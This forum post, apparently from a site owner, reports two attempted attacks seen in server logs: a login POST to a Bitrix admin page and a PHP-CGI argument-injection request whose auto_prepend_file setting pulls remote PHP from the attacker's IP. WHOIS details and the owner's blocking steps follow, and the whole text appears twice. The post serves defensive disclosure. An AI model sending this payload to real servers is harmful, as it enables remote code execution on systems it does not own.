Today after checking my raw log file I found two hacking attempts. One was focus on Admin Tools Pro Component and the other one base on the Admin Area. The person was not able to gain access to my site but I thought I would post this information in the forum for other to review...
First Attempt:
176.111.63.191 - - [13/Feb/2014:14:12:34 -0600] ;POST /bitrix/admin/index.php?login=yes&lang=en
HTTP/1.1; 200 150018;http://mysite.com/bitrix/admin/index.php?lang=en;
t;Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko)
Version/4.0 Mobile Safari/533.1
176.111.48.0 - 176.111.63.255
Host: free-191.63.111.176.united.net.ua
Second Attempt:
46.183.219.77 - - [01/Feb/2014:02:44:18 -0600] "GET /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+-d+max_execution_time%3D0+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dhttp%3A%2F%2F46.183.219.77%2Fv%2Fv.php+-d+cgi%2Eforce_redirect%3D0+-d+cgi%2Eredirect_status_env%3D0+-n HTTP/1.1" 307 666 "-" "-"
46.183.219.64 - 46.183.219.127
Host: ip-219-77.dataclub.biz
Latvija
inetnum: 46.183.219.64 - 46.183.219.127
netname: DATACLUB
descr: Virtual Private Servers
country: LV
admin-c: SK5580-RIPE
tech-c: SK5580-RIPE
status: assigned PA
Special note: everytime I took my site offline to update something this one popped up. I have blocked the IP Address and added a RedirectMatch 403 on this attempt.
First Attempt:
176.111.63.191 - - [13/Feb/2014:14:12:34 -0600] ;POST /bitrix/admin/index.php?login=yes&lang=en
HTTP/1.1; 200 150018;http://mysite.com/bitrix/admin/index.php?lang=en;
t;Mozilla/5.0 (Linux; U; Android 2.2) AppleWebKit/533.1 (KHTML, like Gecko)
Version/4.0 Mobile Safari/533.1
176.111.48.0 - 176.111.63.255
Host: free-191.63.111.176.united.net.ua
Second Attempt:
46.183.219.77 - - [01/Feb/2014:02:44:18 -0600] "GET /cgi-bin/php?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin%2Esimulation%3Don+-d+max_execution_time%3D0+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dhttp%3A%2F%2F46.183.219.77%2Fv%2Fv.php+-d+cgi%2Eforce_redirect%3D0+-d+cgi%2Eredirect_status_env%3D0+-n HTTP/1.1" 307 666 "-" "-"
46.183.219.64 - 46.183.219.127
Host: ip-219-77.dataclub.biz
Latvija
inetnum: 46.183.219.64 - 46.183.219.127
netname: DATACLUB
descr: Virtual Private Servers
country: LV
admin-c: SK5580-RIPE
tech-c: SK5580-RIPE
status: assigned PA
Special note: everytime I took my site offline to update something this one popped up. I have blocked the IP Address and added a RedirectMatch 403 on this attempt.
